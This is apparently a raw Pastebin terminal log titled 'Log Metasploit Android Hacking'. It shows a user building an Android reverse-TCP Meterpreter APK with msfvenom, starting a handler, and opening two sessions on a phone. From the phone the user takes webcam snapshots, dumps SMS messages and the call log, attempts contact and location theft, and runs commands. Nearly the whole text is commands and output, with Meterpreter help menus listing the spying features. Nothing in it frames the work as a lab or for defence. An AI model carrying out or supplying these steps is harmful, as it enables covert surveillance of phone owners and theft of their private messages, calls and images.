yukinoshita47

Log Metasploit Android Hacking

Aug 12th, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.58 KB | None | 0 0
  1. root@yukinoshita47:~# ifconfig
  2. eth0 Link encap:Ethernet HWaddr 00:26:b9:9a:a7:d2
  3. UP BROADCAST MULTICAST MTU:1500 Metric:1
  4. RX packets:0 errors:0 dropped:0 overruns:0 frame:0
  5. TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
  6. collisions:0 txqueuelen:1000
  7. RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
  8.  
  9. lo Link encap:Local Loopback
  10. inet addr:127.0.0.1 Mask:255.0.0.0
  11. inet6 addr: ::1/128 Scope:Host
  12. UP LOOPBACK RUNNING MTU:65536 Metric:1
  13. RX packets:54 errors:0 dropped:0 overruns:0 frame:0
  14. TX packets:54 errors:0 dropped:0 overruns:0 carrier:0
  15. collisions:0 txqueuelen:0
  16. RX bytes:3220 (3.1 KiB) TX bytes:3220 (3.1 KiB)
  17.  
  18. wlan0 Link encap:Ethernet HWaddr c4:17:fe:76:72:38
  19. inet addr:192.168.43.28 Bcast:192.168.43.255 Mask:255.255.255.0
  20. inet6 addr: fe80::c617:feff:fe76:7238/64 Scope:Link
  21. UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
  22. RX packets:28376 errors:0 dropped:0 overruns:0 frame:0
  23. TX packets:21358 errors:0 dropped:0 overruns:0 carrier:0
  24. collisions:0 txqueuelen:1000
  25. RX bytes:18372539 (17.5 MiB) TX bytes:2890420 (2.7 MiB)
  26.  
  27. root@yukinoshita47:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.28 LPORT=4444 R > andro.apk
  28. No platform was selected, choosing Msf::Module::Platform::Android from the payload
  29. No Arch selected, selecting Arch: dalvik from the payload
  30. No encoder or badchars specified, outputting raw payload
  31.  
  32. root@yukinoshita47:~# chmod 777 andro.apk
  33. root@yukinoshita47:~# msfconsole
  34. [*] Starting the Metasploit Framework console.../
  35.  
  36. ______________________________________________________________________________
  37. | |
  38. | METASPLOIT CYBER MISSILE COMMAND V4 |
  39. |______________________________________________________________________________|
  40. \ / /
  41. \ . / / x
  42. \ / /
  43. \ / + /
  44. \ + / /
  45. * / /
  46. / . /
  47. X / / X
  48. / ###
  49. / # % #
  50. / ###
  51. . /
  52. . / . * .
  53. /
  54. *
  55. + *
  56.  
  57. ^
  58. #### __ __ __ ####### __ __ __ ####
  59. #### / \ / \ / \ ########### / \ / \ / \ ####
  60. ################################################################################
  61. ################################################################################
  62. # WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
  63. ################################################################################
  64. http://metasploit.pro
  65.  
  66.  
  67. Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
  68. Learn more on http://rapid7.com/metasploit
  69.  
  70. =[ metasploit v4.11.1-2015031001 [core:4.11.1.pre.2015031001 api:1.0.0]]
  71. + -- --=[ 1412 exploits - 802 auxiliary - 229 post ]
  72. + -- --=[ 361 payloads - 37 encoders - 8 nops ]
  73. + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
  74.  
  75. msf > use multi/handler
  76. msf exploit(handler) > set payload android/meterpreter/reverse_tcp
  77. payload => android/meterpreter/reverse_tcp
  78. msf exploit(handler) > set LHOST 192.168.43.28
  79. LHOST => 192.168.43.28
  80. msf exploit(handler) > set LPORT 4444
  81. LPORT => 4444
  82. msf exploit(handler) > exploit
  83.  
  84. [*] Started reverse handler on 192.168.43.28:4444
  85. [*] Starting the payload handler...
  86. [*] Sending stage (44648 bytes) to 192.168.43.1
  87. [*] Meterpreter session 1 opened (192.168.43.28:4444 -> 192.168.43.1:44207) at 2017-08-12 21:43:50 +0700
  88.  
  89. meterpreter > webcam_snap
  90. [*] Starting...
  91. [+] Got frame
  92. [*] Stopped
  93. Webcam shot saved to: /root/CoQkUrtH.jpeg
  94. meterpreter > webcam_snap
  95. [*] Starting...
  96. [+] Got frame
  97. [*] Stopped
  98. Webcam shot saved to: /root/GzCXxYWh.jpeg
  99. meterpreter > dump_contacts
  100. [-] Error running command dump_contacts: Rex::TimeoutError Operation timed out.
  101. meterpreter > dump_sms
  102. [*] Fetching 149 sms messages
  103. [*] Sms messages saved to: sms_dump_20170812215157.txt
  104. meterpreter > help
  105.  
  106. Core Commands
  107. =============
  108.  
  109. Command Description
  110. ------- -----------
  111. ? Help menu
  112. background Backgrounds the current session
  113. bgkill Kills a background meterpreter script
  114. bglist Lists running background scripts
  115. bgrun Executes a meterpreter script as a background thread
  116. channel Displays information about active channels
  117. close Closes a channel
  118. disable_unicode_encoding Disables encoding of unicode strings
  119. enable_unicode_encoding Enables encoding of unicode strings
  120. exit Terminate the meterpreter session
  121. help Help menu
  122. info Displays information about a Post module
  123. interact Interacts with a channel
  124. irb Drop into irb scripting mode
  125. load Load one or more meterpreter extensions
  126. quit Terminate the meterpreter session
  127. read Reads data from a channel
  128. resource Run the commands stored in a file
  129. run Executes a meterpreter script or Post module
  130. use Deprecated alias for 'load'
  131. write Writes data to a channel
  132.  
  133.  
  134. Stdapi: File system Commands
  135. ============================
  136.  
  137. Command Description
  138. ------- -----------
  139. cat Read the contents of a file to the screen
  140. cd Change directory
  141. download Download a file or directory
  142. edit Edit a file
  143. getlwd Print local working directory
  144. getwd Print working directory
  145. lcd Change local working directory
  146. lpwd Print local working directory
  147. ls List files
  148. mkdir Make directory
  149. pwd Print working directory
  150. rm Delete the specified file
  151. rmdir Remove directory
  152. search Search for files
  153. upload Upload a file or directory
  154.  
  155.  
  156. Stdapi: Networking Commands
  157. ===========================
  158.  
  159. Command Description
  160. ------- -----------
  161. ifconfig Display interfaces
  162. ipconfig Display interfaces
  163. portfwd Forward a local port to a remote service
  164. route View and modify the routing table
  165.  
  166.  
  167. Stdapi: System Commands
  168. =======================
  169.  
  170. Command Description
  171. ------- -----------
  172. execute Execute a command
  173. getuid Get the user that the server is running as
  174. ps List running processes
  175. shell Drop into a system command shell
  176. sysinfo Gets information about the remote system, such as OS
  177.  
  178.  
  179. Stdapi: Webcam Commands
  180. =======================
  181.  
  182. Command Description
  183. ------- -----------
  184. record_mic Record audio from the default microphone for X seconds
  185. webcam_chat Start a video chat
  186. webcam_list List webcams
  187. webcam_snap Take a snapshot from the specified webcam
  188. webcam_stream Play a video stream from the specified webcam
  189.  
  190.  
  191. Android Commands
  192. ================
  193.  
  194. Command Description
  195. ------- -----------
  196. check_root Check if device is rooted
  197. dump_calllog Get call log
  198. dump_contacts Get contacts list
  199. dump_sms Get sms messages
  200. geolocate Get current lat-long using geolocation
  201.  
  202. meterpreter > check_root
  203. [*] Device is not rooted
  204. meterpreter > dump_calllog
  205. [*] Fetching 500 entries
  206. [*] Call log saved to calllog_dump_20170812220148.txt
  207. meterpreter > geolocate
  208. [-] geolocate: Operation failed: 1
  209. meterpreter > clear
  210. [-] Unknown command: clear.
  211. meterpreter > id
  212. [-] Unknown command: id.
  213. meterpreter > route
  214.  
  215. IPv4 network routes
  216. ===================
  217.  
  218. Subnet Netmask Gateway Metric Interface
  219. ------ ------- ------- ------ ---------
  220. 10.130.233.249 255.0.0.0 0.0.0.0
  221. 127.0.0.1 255.0.0.0 0.0.0.0
  222. 192.168.43.1 255.255.255.0 0.0.0.0
  223.  
  224.  
  225. IPv6 network routes
  226. ===================
  227.  
  228. Subnet Netmask Gateway Metric Interface
  229. ------ ------- ------- ------ ---------
  230. ::1 :: ::
  231. fe80::227:15ff:fe87:8291 :: ::
  232. fe80::5c39:adff:fe67:e31d :: ::
  233.  
  234. meterpreter >
  235. [*] 192.168.43.1 - Meterpreter session 1 closed. Reason: Died
  236. help
  237.  
  238. Core Commands
  239. =============
  240.  
  241. Command Description
  242. ------- -----------
  243. ? Help menu
  244. background Backgrounds the current session
  245. bgkill Kills a background meterpreter script
  246. bglist Lists running background scripts
  247. bgrun Executes a meterpreter script as a background thread
  248. channel Displays information about active channels
  249. close Closes a channel
  250. disable_unicode_encoding Disables encoding of unicode strings
  251. enable_unicode_encoding Enables encoding of unicode strings
  252. exit Terminate the meterpreter session
  253. help Help menu
  254. info Displays information about a Post module
  255. interact Interacts with a channel
  256. irb Drop into irb scripting mode
  257. load Load one or more meterpreter extensions
  258. quit Terminate the meterpreter session
  259. read Reads data from a channel
  260. resource Run the commands stored in a file
  261. run Executes a meterpreter script or Post module
  262. use Deprecated alias for 'load'
  263. write Writes data to a channel
  264.  
  265.  
  266. Stdapi: File system Commands
  267. ============================
  268.  
  269. Command Description
  270. ------- -----------
  271. cat Read the contents of a file to the screen
  272. cd Change directory
  273. download Download a file or directory
  274. edit Edit a file
  275. getlwd Print local working directory
  276. getwd Print working directory
  277. lcd Change local working directory
  278. lpwd Print local working directory
  279. ls List files
  280. mkdir Make directory
  281. pwd Print working directory
  282. rm Delete the specified file
  283. rmdir Remove directory
  284. search Search for files
  285. upload Upload a file or directory
  286.  
  287.  
  288. Stdapi: Networking Commands
  289. ===========================
  290.  
  291. Command Description
  292. ------- -----------
  293. ifconfig Display interfaces
  294. ipconfig Display interfaces
  295. portfwd Forward a local port to a remote service
  296. route View and modify the routing table
  297.  
  298.  
  299. Stdapi: System Commands
  300. =======================
  301.  
  302. Command Description
  303. ------- -----------
  304. execute Execute a command
  305. getuid Get the user that the server is running as
  306. ps List running processes
  307. shell Drop into a system command shell
  308. sysinfo Gets information about the remote system, such as OS
  309.  
  310.  
  311. Stdapi: Webcam Commands
  312. =======================
  313.  
  314. Command Description
  315. ------- -----------
  316. record_mic Record audio from the default microphone for X seconds
  317. webcam_chat Start a video chat
  318. webcam_list List webcams
  319. webcam_snap Take a snapshot from the specified webcam
  320. webcam_stream Play a video stream from the specified webcam
  321.  
  322.  
  323. Android Commands
  324. ================
  325.  
  326. Command Description
  327. ------- -----------
  328. check_root Check if device is rooted
  329. dump_calllog Get call log
  330. dump_contacts Get contacts list
  331. dump_sms Get sms messages
  332. geolocate Get current lat-long using geolocation
  333.  
  334. msf exploit(handler) > exploit
  335.  
  336. [*] Started reverse handler on 192.168.43.28:4444
  337. [*] Starting the payload handler...
  338. [*] Sending stage (44648 bytes) to 192.168.43.1
  339. [*] Meterpreter session 2 opened (192.168.43.28:4444 -> 192.168.43.1:47111) at 2017-08-12 22:11:48 +0700
  340.  
  341. meterpreter > getuid
  342. Server username: root
  343. meterpreter > exec ls
  344. [-] Unknown command: exec.
  345. meterpreter > execute ls
  346. [-] You must specify an executable file with -f
  347. meterpreter > execute -f
  348. [-] You must specify an executable file with -f
  349. meterpreter > execute -h
  350. Usage: execute -f file [options]
  351.  
  352. Executes a command on the remote machine.
  353.  
  354. OPTIONS:
  355.  
  356. -H Create the process hidden from view.
  357. -a <opt> The arguments to pass to the command.
  358. -c Channelized I/O (required for interaction).
  359. -d <opt> The 'dummy' executable to launch when using -m.
  360. -f <opt> The executable command to run.
  361. -h Help menu.
  362. -i Interact with the process after creating it.
  363. -k Execute process on the meterpreters current desktop
  364. -m Execute from memory.
  365. -s <opt> Execute process in a given session as the session user
  366. -t Execute process with currently impersonated thread token
  367.  
  368. meterpreter > execute -H
  369. [-] You must specify an executable file with -f
  370. meterpreter > execute -f -H
  371. [-] stdapi_sys_process_execute: Operation failed: 1
  372. meterpreter > execute -f ls
  373. Process created.
  374. meterpreter > execute -f ifconfig
  375. Process created.
  376. meterpreter >
  377. [*] 192.168.43.1 - Meterpreter session 2 closed. Reason: Died
Add Comment
Please, Sign In to add comment